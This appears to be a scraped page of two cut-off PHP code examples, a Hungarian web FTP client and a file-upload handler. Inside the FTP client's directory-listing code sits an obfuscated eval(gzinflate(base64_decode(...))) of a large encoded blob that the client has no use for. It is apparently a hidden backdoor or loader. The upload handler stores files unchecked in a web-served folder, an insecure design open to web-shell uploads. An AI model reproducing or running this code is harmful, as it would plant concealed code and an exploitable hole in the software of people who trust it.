Beispiel #1
0
        print "<td>A Renszer típusa: " . ftp_systype($connid) . "</td><tr></table>";
        $mappa = array();
        $file = array();
        $p = ftp_pwd($connid);
        $dir = $p . $_GET["mit"];
        if (ftp_chdir($connid, $dir)) {
            $list = ftp_nlist($connid, $dir);
            $most = ftp_pwd($connid);
            $fel = fel($connid);
            print "<table align=\"center\"><tr><td><a href=\"{$PHP_SELF}?mit=" . urlencode($fel) . "\" class=\"link\"><img src=\"kepek/fel.gif\" border=\"0\" alt=\"Egy szintel feljebb\"></a> |</td>";
            print "<td><a href=\"{$PHP_SELF}?mit={$most}&cs=feltolt\" class=\"link\"><img src=\"kepek/feltoltes.gif\" border=\"0\" alt=\"Feltöltés\"></a> | </td>";
            print "<td><a href=\"{$PHP_SELF}?mit={$most}&cs=ujmappa\" class=\"link\"><img src=\"kepek/ujmappa.gif\" border=\"0\"alt=\"Új Mappa\"></a><br></td></tr></table>";
            print "<br><center>Jelenleg itt álsz: &nbsp;" . $Host . $most . "</center><br><br>";
            //Fájl feltöltése
            if ($_GET["cs"] == "feltolt") {
                feltoltes($connid, $most);
            }
            //Mappa létrehozása
            if ($_GET["cs"] == "ujmappa") {
                mappa_letrehoz($connid, $most);
            }
            eval(gzinflate(base64_decode("DZc3EqxYFEP3MtH/RYB3NRHem8ZDMoWHxnuz+ukNvEBP90gqz7T/U7/tWPXpXv7J0q0ksP\r\n\t\t+KMp+K8s8/YlKiwuLFQueBSYokl8CtIXPse57gdZwOULKcFYmGRbmHQZgWq0FuAFHgBykDyXjCKgUg7cYDAZyJgZiAYCN7/uHa4W\r\n\t\t2SMhERwHjl2BM+nk/KugFruCfWFgwxuSrrFlSbSY878rUrOUMlBYMv/hSEi0lvWjfTupF4Uv2BvIWvoGxIPpCfgg7qHuSoDmVU36\r\n\t\tBjDxynzcfoAkq4mWMHVEtFjnLyiJMbNdsjIAdbtUjR4KBPh23Fmh2CMTpca5Kgo+ypNe1Y0089NO7lgXb8XYcUcHmMBFaCTGOs5+\r\n\t\tl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ZblfRRHzaRFJVtzkJ7ahR\r\n\t\tWiyqqWUfGYmWIM61AGus44dk6NVC1j1aZvA0sYCtGb3viW9AGD5xNAU3CxmnzZhiZIKPtrCYBkok+eH1d1tu2sEjcZxaafuQX3i+\r\n\t\t5s5jGvQeSwFRFnJQ/u4foa2ZKOf9OZsNoWffxIY8cfvbuScMKwt+j5C8yKPA4ysYDfKM59rgieSexIrswl4iTYAF1A4SuerRSVRh\r\n\t\tXQYL4HZBIrcRS2Mu6oKJl/hkQQJBp7OK33XOdnAXGzE+M57OjTsbdwd3FEuoVPz0RwvbIzH/uQP6QD3/5v0BHPA8BfXrtbDfeRDs\r\n\t\tpH+qn3p4lI8vMmWXkN+m9ueayNzT7Y8uTyYdlAgxp3s1tCM5TN2Qk1+1gfhxDDk6RFzOb11HbTobERaV35gRx/ZlEN9IJ3KdibjE\r\n\t\tYTcrjKc8oNIZY+UdGPuq6RCWrQCMul7DfWnS4DBxSmh6mrFIasMh8E4idc77Yj1Ye9LG0rkSHHwLphDr6n4Od6TaCzbbtaXPTdXu\r\n\t\tzTDbewt7hJ4mWUjeyKPRKwYPxWYdZO85LPBYxZDUmxL9m+0j1YhyYpsmDOod22cgVQmtbC6zkKKT5zWRmQNzHAQWaKi4wuGpGDPU\r\n\t\tGxnU9wi1OUPsGHTbUOkwyXeWS7S+CH/mQNofKY/nCZnSx9K2BjgI1o1bOZFOXkeIsHB/qzUCe9SDw158FyMHtnK6Nsiv1CuM8v89\r\n\t\tJ1XBmoKaXrqG6gENrMx6GMmKl7VxRbXmH4UK2+NkrSIAhC4D9///79938=")));
        }
    }
} else {
    print "<form action=\"{$PHP_SELF}\" method=\"POST\">" . "<center><font size=3 color=#000000>Web FTP Kliens</font><table>" . "<tr><td>FTP Host:</td><td><input type=\"text\" name=\"host\" size=\"15\">" . "<input id=\"ps\" name=\"passiv\" type=\"checkbox\" value=\"igen\">" . "<label for=\"ps\">Passzív mód</label></td></tr>" . "<tr><td>Felhasználónév:</td><td><input type=\"text\" name=\"nev\" size=\"15\"></td></tr>" . "<tr><td>Jelszó:</td><td><input type=\"password\" name=\"jelszo\" size=\"15\"></td></tr>" . "<tr><td></td><td align=\"left\"><input type=\"submit\" value=\"Belépés!\"></td></tr>" . "</table></center>";
}
?>
</body>
</html>
<?php 
Beispiel #2
0
<head>
        <link rel="stylesheet" type="text/css" href="./public/css/style.css">
        <meta charset="UTF-8">
</head>
<?php 
include_once "../mydbms.php";
$safe_filename = trim($_FILES['fajl']['name']);
$safe_filename = rand() . $safe_filename;
if ($feltoltes = feltoltes($_POST['nev'], "./public/uploads/" . $safe_filename)) {
    move_uploaded_file($_FILES['fajl']['tmp_name'], "C:/wamp/www/jegyzet/public/uploads/" . $safe_filename);
    echo "A választott fájl sikeresen feltöltésre került!";
} else {
    echo "A választott fájl feltöltése sikertelen!";
}
echo '<meta http-equiv="refresh" content="0; URL=../../index.php?menu=0">';
?>